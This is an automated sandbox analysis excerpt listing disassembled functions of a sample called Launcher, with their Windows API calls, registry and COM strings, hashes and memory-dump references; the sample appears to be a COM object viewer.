API String ID: 3854995924-1653547741
Opcode ID: 83865c61df32979a4b2d424ac0bbbadc24493741b0e0bdcafef647a2695ce25b
Instruction ID: 226e44566453bbf0d3836090cfe5ba18c1c5ac0aee800ba9e5de3d2248a5c02c
Opcode Fuzzy Hash: 83865c61df32979a4b2d424ac0bbbadc24493741b0e0bdcafef647a2695ce25b
Instruction Fuzzy Hash: 0E91CE31540616FBEB01EF64CD8BFA73727EF02700F5145A8BE08AF186DAF1AA458755

Function 0066C150 Relevance: 47.4, APIs: 22, Strings: 5, Instructions: 176registrywindowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0066C15A

Part of subcall function 0067D0B6: StringFromGUID2.OLE32(?,?,00000028,?,?,?,?,?,?,?), ref: 0067D152
Part of subcall function 0067D0B6: lstrcpyW.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 0067D163
Part of subcall function 0067D0B6: wsprintfW.USER32 ref: 0067D179
Part of subcall function 0067D0B6: RegOpenKeyW.ADVAPI32(80000000,CLSID,?), ref: 0067D1AA
Part of subcall function 0067D0B6: RegEnumKeyW.ADVAPI32(?,00000000,?,000000FF), ref: 0067D25C
Part of subcall function 0067D0B6: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0067D270
Part of subcall function 0067D0B6: wsprintfW.USER32 ref: 0067D286

LoadCursorW.USER32(00000000,00007F02), ref: 0066C186
SetCursor.USER32(00000000), ref: 0066C18D

Part of subcall function 0067DE06: malloc.MSVCRT ref: 0067DE1E

#538.MFC42U(new CSecurityDescriptor failed.), ref: 0066C1C8
#800.MFC42U(?,00000008,00000000), ref: 0066C1E8

Part of subcall function 0067CDEB: free.MSVCRT ref: 0067CE45
Part of subcall function 0067CDEB: free.MSVCRT ref: 0067CE55
Part of subcall function 0067CDEB: free.MSVCRT ref: 0067CE6D

#538.MFC42U(00000000,00000000), ref: 0066C21A
MakeSelfRelativeSD.ADVAPI32(00000000,00000000,?,?,00000001,?,System,00000001,00000000), ref: 0066C266
malloc.MSVCRT ref: 0066C272
#538.MFC42U(00000000), ref: 0066C29F
MakeSelfRelativeSD.ADVAPI32(00000000,00000000,?), ref: 0066C2CE
RegOpenKeyExW.ADVAPI32(80000000,?,00000000,000F003F,?), ref: 0066C313
GetSecurityDescriptorLength.ADVAPI32(?), ref: 0066C320
RegSetValueExW.ADVAPI32(?,AccessPermission,00000000,00000003,?,00000000), ref: 0066C336
RegCloseKey.ADVAPI32(?), ref: 0066C342
free.MSVCRT ref: 0066C349
#2634.MFC42U(00000001), ref: 0066C373
#2634.MFC42U(00000001,00000001), ref: 0066C380
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 0066C393
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 0066C3A3
#5977.MFC42U ref: 0066C3AC
LoadCursorW.USER32(00000000,00007F00), ref: 0066C3B7
SetCursor.USER32(00000000), ref: 0066C3BE

Strings

new CSecurityDescriptor failed., xrefs: 0066C1BD
CSecurityDescriptor::Initialize failed., xrefs: 0066C213
AccessPermission, xrefs: 0066C32B
System, xrefs: 0066C22B
psdSelfRelative malloc failed., xrefs: 0066C298

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: Cursorfree$#538$#2634CloseLoadMakeMessageOpenRelativeSelfSendmallocwsprintf$#5977#800DescriptorEnumFromH_prolog3_LengthSecurityStringValuelstrcpy
String ID: AccessPermission$CSecurityDescriptor::Initialize failed.$System$new CSecurityDescriptor failed.$psdSelfRelative malloc failed.
API String ID: 3894545846-3913380516
Opcode ID: 82f7be1805118a610dedc8f5623edf59f8c3052509c61309125aece090344fd9
Instruction ID: 5b6ce787e16112e17e4355eedd9ddc6d08190d9ab9fb9227fc36301454f392ff
Opcode Fuzzy Hash: 82f7be1805118a610dedc8f5623edf59f8c3052509c61309125aece090344fd9
Instruction Fuzzy Hash: 3051A13194021AABDB61EF60DC89FEE7B7AEF55310F0085ACF509AA192DF705A44CF64

Function 00672FE0 Relevance: 45.8, APIs: 23, Strings: 3, Instructions: 275registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00677980: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0067798C

Part of subcall function 006778ED: GetFocus.USER32 ref: 006778ED
Part of subcall function 006778ED: #2859.MFC42U(00000000), ref: 006778F4

Part of subcall function 006778FA: SendMessageW.USER32(?,0000113E,00000000,00000014), ref: 0067790C

CLSIDFromString.OLE32(00000000,?,00000100), ref: 0067312B
wcstok.MSVCRT ref: 00673191
wcstol.MSVCRT ref: 0067319A
wcstok.MSVCRT ref: 006731BA
wcstol.MSVCRT ref: 006731C3
#1662.MFC42U(Version,006621A0,?,00000100,00000100), ref: 006731DE
GetUserDefaultLCID.KERNEL32(Version,006621A0,?,00000100,00000100), ref: 006731E3
LoadRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 0067320F
GetSystemDefaultLCID.KERNEL32 ref: 00673227
LoadRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 0067326D
RegOpenKeyW.ADVAPI32(80000000,TypeLib,?), ref: 0067329A
StringFromGUID2.OLE32(?,?,00000027), ref: 006732B5
RegOpenKeyW.ADVAPI32(?,?,?), ref: 006732CC
RegOpenKeyW.ADVAPI32(?,?,?), ref: 006732EA
LoadRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00673330
RegCloseKey.ADVAPI32(?,?,?), ref: 00673342
RegCloseKey.ADVAPI32(?), ref: 0067334E
RegCloseKey.ADVAPI32(?), ref: 0067335A
wsprintfW.USER32 ref: 00673395
#2644.MFC42U ref: 006733A4
#538.MFC42U(?), ref: 006733B6
#800.MFC42U(?,00000000,?), ref: 006733DB
#2644.MFC42U ref: 006733E8

Part of subcall function 00671C95: __EH_prolog3_GS.LIBCMT ref: 00671C9F
Part of subcall function 00671C95: StringFromGUID2.OLE32(?,?,00000028,000002BC,00674FBE,00000000,00669ECC,?), ref: 00671CCE
Part of subcall function 00671C95: wsprintfW.USER32 ref: 00671CE4
Part of subcall function 00671C95: RegQueryValueW.ADVAPI32(80000000,?,?,000000A0), ref: 00671D1A
Part of subcall function 00671C95: lstrcpyW.KERNEL32(?,<no name>), ref: 00671D30
Part of subcall function 00671C95: RegQueryValueW.ADVAPI32(80000000,?,?,000000A0), ref: 00671D9E
Part of subcall function 00671C95: RegQueryValueW.ADVAPI32(80000002,?,?,000000A0), ref: 00671DEE
Part of subcall function 00671C95: CLSIDFromString.OLE32(?,?), ref: 00671E06

Strings

TypeLib, xrefs: 006730DE, 00673290
LoadRegTypeLib(%u, %u, %lu, &u ...) failed., xrefs: 00673389
Version, xrefs: 00673161

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: FromString$CloseLoadOpenQueryTypeValue$#2644DefaultMessageSendwcstokwcstolwsprintf$#1662#2859#538#800FocusH_prolog3_SystemUserlstrcpy
String ID: LoadRegTypeLib(%u, %u, %lu, &u ...) failed.$TypeLib$Version
API String ID: 672647845-2616143947
Opcode ID: fe1cb85fb6087f425abee847b98f8acad867214aa5975ba9120b185e8487fbe3
Instruction ID: 7f088f5880274d807ec4fa279882b72f0e1c13e63c0026bb2eeed0daf8134c3b
Opcode Fuzzy Hash: fe1cb85fb6087f425abee847b98f8acad867214aa5975ba9120b185e8487fbe3
Instruction Fuzzy Hash: 97C10771904228EFDF609F60CC49BA9B7BBBF84314F0186E9E50DA7250DB725EA49F14

Function 0066E1A4 Relevance: 45.7, APIs: 22, Strings: 4, Instructions: 186windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0067D4CD: GetVersionExW.KERNEL32(?), ref: 0067D4F3

SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0066E1E5
SendMessageW.USER32(?,00001304,00000000,00000000), ref: 0066E1F9
SendMessageW.USER32(?,00001304,00000000,00000000), ref: 0066E219
SendMessageW.USER32(?,00001304,00000000,00000000), ref: 0066E242
#6211.MFC42U(00000005,?,?,?), ref: 0066E259
SendMessageW.USER32(?,0000000B,00000000,00000000), ref: 0066E268
SendMessageW.USER32(?,00001304,00000000,00000000), ref: 0066E277
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0066E28E
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0066E2A6
SendMessageW.USER32(?,00001304,00000000,00000000), ref: 0066E2BD
SendMessageW.USER32(?,0000133E,00000000,00000001), ref: 0066E2DE
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0066E30F
SendMessageW.USER32(?,0000133E,00000001,00000001), ref: 0066E326
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0066E345
SendMessageW.USER32(?,0000133E,00000001,00000001), ref: 0066E35C
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0066E372
SendMessageW.USER32(?,0000133E,00000001,00000001), ref: 0066E389
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0066E3A6
SendMessageW.USER32(?,0000133E,00000001,00000001), ref: 0066E3BD
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 0066E3D0
SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 0066E3EB
RedrawWindow.USER32(?,00000000,00000000,00000105,?,?,?), ref: 0066E3FE

Part of subcall function 0066E466: SendMessageW.USER32(?,00001304,00000000,00000000), ref: 0066E482
Part of subcall function 0066E466: #6211.MFC42U(00000005,?,?,?,?,?,0066E130,?,?), ref: 0066E49B
Part of subcall function 0066E466: SendMessageW.USER32(?,0000000B,00000000,00000000), ref: 0066E4AA
Part of subcall function 0066E466: SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0066E4BE
Part of subcall function 0066E466: SendMessageW.USER32(?,00001304,00000000,00000000), ref: 0066E4ED
Part of subcall function 0066E466: SendMessageW.USER32(?,00001304,00000000,00000000), ref: 0066E504
Part of subcall function 0066E466: SendMessageW.USER32(?,0000133E,00000000,?), ref: 0066E528
Part of subcall function 0066E466: SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 0066E53B
Part of subcall function 0066E466: SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 0066E555
Part of subcall function 0066E466: RedrawWindow.USER32(?,00000000,00000000,00000105,?,?,?,?,?,0066E130,?,?), ref: 0066E569
Part of subcall function 0066E466: RedrawWindow.USER32(?,00000000,00000000,00000105,?,?,?,?,?,0066E130,?,?), ref: 0066E578

Strings

Activation, xrefs: 0066E36B
Launch Permissions, xrefs: 0066E33E
Access Permissions, xrefs: 0066E308
Implementation, xrefs: 0066E39F

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: MessageSend$RedrawWindow$#6211$Version
String ID: Access Permissions$Activation$Implementation$Launch Permissions
API String ID: 3082685337-186467299
Opcode ID: 55c531a027bb39f613fd357c35f0fd064735cdca9d9415f11c251e896b5ad842
Instruction ID: 65047742c0f462f55f5e5f9d00f3a6c261f521026a743805226d592fadd69077
Opcode Fuzzy Hash: 55c531a027bb39f613fd357c35f0fd064735cdca9d9415f11c251e896b5ad842
Instruction Fuzzy Hash: FF515A74504646BEFB212B31DC5CEABBABFFB82B01F01151CF56AA11A0DB766941CB60

Function 00674B81 Relevance: 44.0, APIs: 22, Strings: 3, Instructions: 277registryCOMMON

Download Yara Rule

APIs

#1662.MFC42U(800E373A), ref: 00674CA5
GetUserDefaultLCID.KERNEL32(800E373A), ref: 00674CAA
LoadRegTypeLib.OLEAUT32(-00000008,?,?,?,?), ref: 00674CDA
GetSystemDefaultLCID.KERNEL32 ref: 00674CF2
LoadRegTypeLib.OLEAUT32(-00000008,?,?,?,?), ref: 00674D3C
RegOpenKeyW.ADVAPI32(80000000,TypeLib,?), ref: 00674D69
StringFromGUID2.OLE32(-00000008,?,00000027), ref: 00674D84
RegOpenKeyW.ADVAPI32(?,?,?), ref: 00674D9B
memset.MSVCRT ref: 00674DB7
wnsprintfW.SHLWAPI ref: 00674DE0
RegOpenKeyW.ADVAPI32(?,?,?), ref: 00674DFD

Strings

TypeLib, xrefs: 00674D5F
%u.%u, xrefs: 00674DCF
LoadRegTypeLib(%s, %u, %u, %lu, ...) failed., xrefs: 00674F2D

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: Open$DefaultLoadType$#1662FromStringSystemUsermemsetwnsprintf
String ID: %u.%u$LoadRegTypeLib(%s, %u, %u, %lu, ...) failed.$TypeLib
API String ID: 2064963674-2378697407
Opcode ID: b073435c01d959bb0b09ec26ac7a2c13369f585bd10b4fa5c4f68427caa0b9e7
Instruction ID: 72989224a440217680c26695878f4ae5fa30ce836ee86842af87daf4afd00d02
Opcode Fuzzy Hash: b073435c01d959bb0b09ec26ac7a2c13369f585bd10b4fa5c4f68427caa0b9e7
Instruction Fuzzy Hash: 38C11BB1900218AFDB60DF64CC89BA977BABF44315F0081A9FA0DE7251DB359E84DF19

Function 00675010 Relevance: 40.4, APIs: 16, Strings: 7, Instructions: 165COMMON

Download Yara Rule

APIs

Part of subcall function 00679137: CoFreeUnusedLibraries.OLE32(00674689,00000000,?), ref: 006791A2

#540.MFC42U(800E373A,?,?,?,?,00680AE8,000000FF,?,00672E44,?,?,00000104), ref: 00675050
CoGetClassObject.OLE32(000000FC,800E373A,00000000,00669E3C,00000000,800E373A,?,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 0067507D
CoGetClassObject.OLE32(000000FC,800E373A,00000000,00669E3C,00000000,800E373A,?,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 0067509D
#860.MFC42U(CoGetClassObject failed.,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 006750B4
#1262.MFC42U(00000000,CoGetClassObject failed.,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 006750BC
#860.MFC42U(CoGetClassObject succeeded, but punk was NULL.,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 006750CF
#1262.MFC42U(00000000,CoGetClassObject succeeded, but punk was NULL.,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 006750D7
#860.MFC42U(QueryInterface on class factory for IClassFactory failed.,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 00675118
#1262.MFC42U(00000000,QueryInterface on class factory for IClassFactory failed.,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 00675120
#860.MFC42U(CoGetClassObject succeeded, but pClassFactory was NULL.,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 00675136
#1262.MFC42U(00000000,CoGetClassObject succeeded, but pClassFactory was NULL.,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 0067513E
#860.MFC42U(IClassFactory::CreateInstance failed.,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 006751A6
#1262.MFC42U(00000000,IClassFactory::CreateInstance failed.,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 006751AE
#860.MFC42U(IClassFactory::CreateInstance succeeded, but punk was NULL.,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 006751C4
#1262.MFC42U(00000000,IClassFactory::CreateInstance succeeded, but punk was NULL.,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 006751CC
#800.MFC42U(?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 00675256

Strings

CoGetClassObject failed., xrefs: 006750AC
D.g, xrefs: 006750F5
IClassFactory::CreateInstance failed., xrefs: 0067519E
CoGetClassObject succeeded, but pClassFactory was NULL., xrefs: 0067512E
CoGetClassObject succeeded, but punk was NULL., xrefs: 006750C7
IClassFactory::CreateInstance succeeded, but punk was NULL., xrefs: 006751BC
QueryInterface on class factory for IClassFactory failed., xrefs: 00675110

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #1262#860$ClassObject$#540#800FreeLibrariesUnused
String ID: CoGetClassObject failed.$CoGetClassObject succeeded, but pClassFactory was NULL.$CoGetClassObject succeeded, but punk was NULL.$D.g$IClassFactory::CreateInstance failed.$IClassFactory::CreateInstance succeeded, but punk was NULL.$QueryInterface on class factory for IClassFactory failed.
API String ID: 3706085179-1271380236
Opcode ID: 14d19a2110ffe4d7801916b59be8ad7f5c4b7bbed0159a691700a7e9c085587c
Instruction ID: 6b4a0ada4c05367569d70a2ac05a1f1bb57820a84d2efa73c11947297bf96f7f
Opcode Fuzzy Hash: 14d19a2110ffe4d7801916b59be8ad7f5c4b7bbed0159a691700a7e9c085587c
Instruction Fuzzy Hash: 0871E575E10209EFCF10DFA4C88ABAEBBB6FF08311F108159E516B72A1D7759A44CB60

Function 00671C95 Relevance: 38.7, APIs: 16, Strings: 6, Instructions: 216registrycomstringCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00671C9F
StringFromGUID2.OLE32(?,?,00000028,000002BC,00674FBE,00000000,00669ECC,?), ref: 00671CCE
wsprintfW.USER32 ref: 00671CE4
RegQueryValueW.ADVAPI32(80000000,?,?,000000A0), ref: 00671D1A
lstrcpyW.KERNEL32(?,<no name>), ref: 00671D30
RegQueryValueW.ADVAPI32(80000000,?,?,000000A0), ref: 00671D9E
RegQueryValueW.ADVAPI32(80000002,?,?,000000A0), ref: 00671DEE
CLSIDFromString.OLE32(?,?), ref: 00671E06
#540.MFC42U ref: 00671E18
#2810.MFC42U(?,Could not convert the CLSID of the %s interface viewer.,?), ref: 00671E33
#800.MFC42U(?,00000000), ref: 00671E4E
#540.MFC42U ref: 00671E90
#2859.MFC42U(?,00000001), ref: 00671EB6
#800.MFC42U(00000000,?,00000001), ref: 00671ED3
CoCreateInstance.OLE32(?,00000000,00000001,00661990,?), ref: 00671EEE
#2810.MFC42U(?,The %s interface viewer failed to load.,?), ref: 00671F91

Strings

Interface\%s\OLEViewerIViewerCLSID, xrefs: 00671D57
Software\Microsoft\IViewers\Interface\%s\OLEViewerIViewerCLSID, xrefs: 00671DAC
Could not convert the CLSID of the %s interface viewer., xrefs: 00671E2D
<no name>, xrefs: 00671D24
Interface\%s, xrefs: 00671CDE
The %s interface viewer failed to load., xrefs: 00671F8B

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: QueryValue$#2810#540#800FromString$#2859CreateH_prolog3_Instancelstrcpywsprintf
String ID: <no name>$Could not convert the CLSID of the %s interface viewer.$Interface\%s$Interface\%s\OLEViewerIViewerCLSID$Software\Microsoft\IViewers\Interface\%s\OLEViewerIViewerCLSID$The %s interface viewer failed to load.
API String ID: 3373394939-4261977633
Opcode ID: 1692ee5919054dde903673b3cf0a70827f48c109db2b175565dfa9e2bc22fef4
Instruction ID: 5c78b4a3ab9daf13a6f05328445af8d30d8be03ede71829036b730811a416063
Opcode Fuzzy Hash: 1692ee5919054dde903673b3cf0a70827f48c109db2b175565dfa9e2bc22fef4
Instruction Fuzzy Hash: 6A81FA71900229ABDB61DF54CC89AEEB7BEBF09300F5545AAE90DE7250DB309E84CF50

Function 0066D000 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 167windowregistrystringCOMMON

Download Yara Rule

APIs

#4704.MFC42U ref: 0066D024
LoadCursorW.USER32(00000000,00007F02), ref: 0066D030
SetCursor.USER32(00000000), ref: 0066D037
SendMessageW.USER32(?,00001061,00000000,?), ref: 0066D06F
SendMessageW.USER32(?,00001061,00000001,?), ref: 0066D0A0
RegOpenKeyW.ADVAPI32(80000000,CLSID,?), ref: 0066D0B3
RegEnumKeyW.ADVAPI32(?,00000000,?,00000100), ref: 0066D0D0
wsprintfW.USER32 ref: 0066D0F8
lstrcpyW.KERNEL32(?,00662948,80000000,?,006621A0,?,000001FE), ref: 0066D13F
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0066D18E
SendMessageW.USER32(?,00001053,000000FF,00000002), ref: 0066D1BE
SendMessageW.USER32(?,0000104C,00000000,00000001), ref: 0066D1F3
LoadCursorW.USER32(00000000,00007F00), ref: 0066D205
SetCursor.USER32(00000000), ref: 0066D20C
SendMessageW.USER32(?,0000104B,00000000,00000001), ref: 0066D23B
SendMessageW.USER32(?,0000104C,00000000,00000009), ref: 0066D263
#5977.MFC42U ref: 0066D26F
RegCloseKey.ADVAPI32(?), ref: 0066D27A

Strings

Class Name, xrefs: 0066D054
CLSID\%s, xrefs: 0066D0F2
CLSID, xrefs: 0066D08B, 0066D0AD

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: MessageSend$Cursor$Load$#4704#5977CloseEnumOpenlstrcpywsprintf
String ID: CLSID$CLSID\%s$Class Name
API String ID: 3330777091-3884686139
Opcode ID: dc5e53f2da852bb72e1b730a664631938421868a1c53d428dfe54219512a4a4a
Instruction ID: 16844960a3a1a50ac44948688c7c80fa5cd17498d63e1d37fca430b765983357
Opcode Fuzzy Hash: dc5e53f2da852bb72e1b730a664631938421868a1c53d428dfe54219512a4a4a
Instruction Fuzzy Hash: AB6131B1900219AFEB209F60DC89FDAB7BAFB84304F1045E9E61DA6191DB725E94CF10

Function 0067CB3B Relevance: 36.2, APIs: 24, Instructions: 181COMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000,?,00000000,?,?,?,?,0067CB28,00000000,00000000,?), ref: 0067CB71
GetLastError.KERNEL32(?,?,?,0067CB28,00000000,00000000,?,?,?,0067CE14,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0067CB77
malloc.MSVCRT ref: 0067CB9D
GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000,?,?,0067CB28,00000000,00000000,?,?,?,0067CE14,00000000,00000000), ref: 0067CBC1
GetLastError.KERNEL32(?,?,0067CB28,00000000,00000000,?,?,?,0067CE14,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0067CBCB
free.MSVCRT ref: 0067CD14
free.MSVCRT ref: 0067CD20
free.MSVCRT ref: 0067CD31

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: free$ErrorInformationLastToken$malloc
String ID:
API String ID: 3900411180-0
Opcode ID: 0ac312d6455950ba682ed90b24d48f748144810b8103843ae975593a8ab40985
Instruction ID: b5b9fa56eb3a2531e2a516e6a69a3cc8329bb335fd41642d5687efb9bb096215
Opcode Fuzzy Hash: 0ac312d6455950ba682ed90b24d48f748144810b8103843ae975593a8ab40985
Instruction Fuzzy Hash: B951A776900117FFDB219FA4DC48AAA7A76FF45761B22922DFD09E7210DB318D409B90

Function 00676C29 Relevance: 35.4, APIs: 15, Strings: 5, Instructions: 415registrystringCOMMON

Download Yara Rule

APIs

#540.MFC42U(?,?), ref: 00676CF1
#2810.MFC42U(?,IMoniker::BindToObject failed on the file moniker created from ( "%s" ).,00000000,?,?), ref: 00676D15
#800.MFC42U(?,00000000), ref: 00676D39

Part of subcall function 00675010: #540.MFC42U(800E373A,?,?,?,?,00680AE8,000000FF,?,00672E44,?,?,00000104), ref: 00675050
Part of subcall function 00675010: CoGetClassObject.OLE32(000000FC,800E373A,00000000,00669E3C,00000000,800E373A,?,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 0067507D
Part of subcall function 00675010: #860.MFC42U(CoGetClassObject failed.,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 006750B4
Part of subcall function 00675010: #1262.MFC42U(00000000,CoGetClassObject failed.,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 006750BC
Part of subcall function 00675010: #860.MFC42U(CoGetClassObject succeeded, but punk was NULL.,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 006750CF
Part of subcall function 00675010: #1262.MFC42U(00000000,CoGetClassObject succeeded, but punk was NULL.,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 006750D7
Part of subcall function 00675010: #860.MFC42U(QueryInterface on class factory for IClassFactory failed.,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 00675118
Part of subcall function 00675010: #1262.MFC42U(00000000,QueryInterface on class factory for IClassFactory failed.,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 00675120
Part of subcall function 00675010: #860.MFC42U(CoGetClassObject succeeded, but pClassFactory was NULL.,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 00675136
Part of subcall function 00675010: #1262.MFC42U(00000000,CoGetClassObject succeeded, but pClassFactory was NULL.,?,?,?,00680AE8,000000FF,?,00672E44,?), ref: 0067513E

RegOpenKeyW.ADVAPI32(80000000,Interface,?), ref: 00676E1F
malloc.MSVCRT ref: 00676E77
malloc.MSVCRT ref: 00676EBA
RegEnumKeyW.ADVAPI32(?,00000000,?,00000050), ref: 00676F38
CLSIDFromString.OLE32(00000000,00000000), ref: 00676F76
StringFromGUID2.OLE32(00000000,?,00000100), ref: 00677148
lstrcpyW.KERNEL32(?,00000000), ref: 0067717B
RegQueryValueW.ADVAPI32(?,?,?,00000200), ref: 006771A6
wsprintfW.USER32 ref: 006771D9
free.MSVCRT ref: 0067733B
free.MSVCRT ref: 0067734A
RegCloseKey.ADVAPI32(?), ref: 00677389

Strings

', xrefs: 00676DCF
%s <no name>, xrefs: 006771CD
l;g, xrefs: 00676C74, 00676D58, 00676DB9
Interface, xrefs: 00676E15
IMoniker::BindToObject failed on the file moniker created from ( "%s" )., xrefs: 00676D09

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #1262#860$#540FromStringfreemalloc$#2810#800ClassCloseEnumObjectOpenQueryValuelstrcpywsprintf
String ID: %s <no name>$'$IMoniker::BindToObject failed on the file moniker created from ( "%s" ).$Interface$l;g
API String ID: 3715769521-2136238675
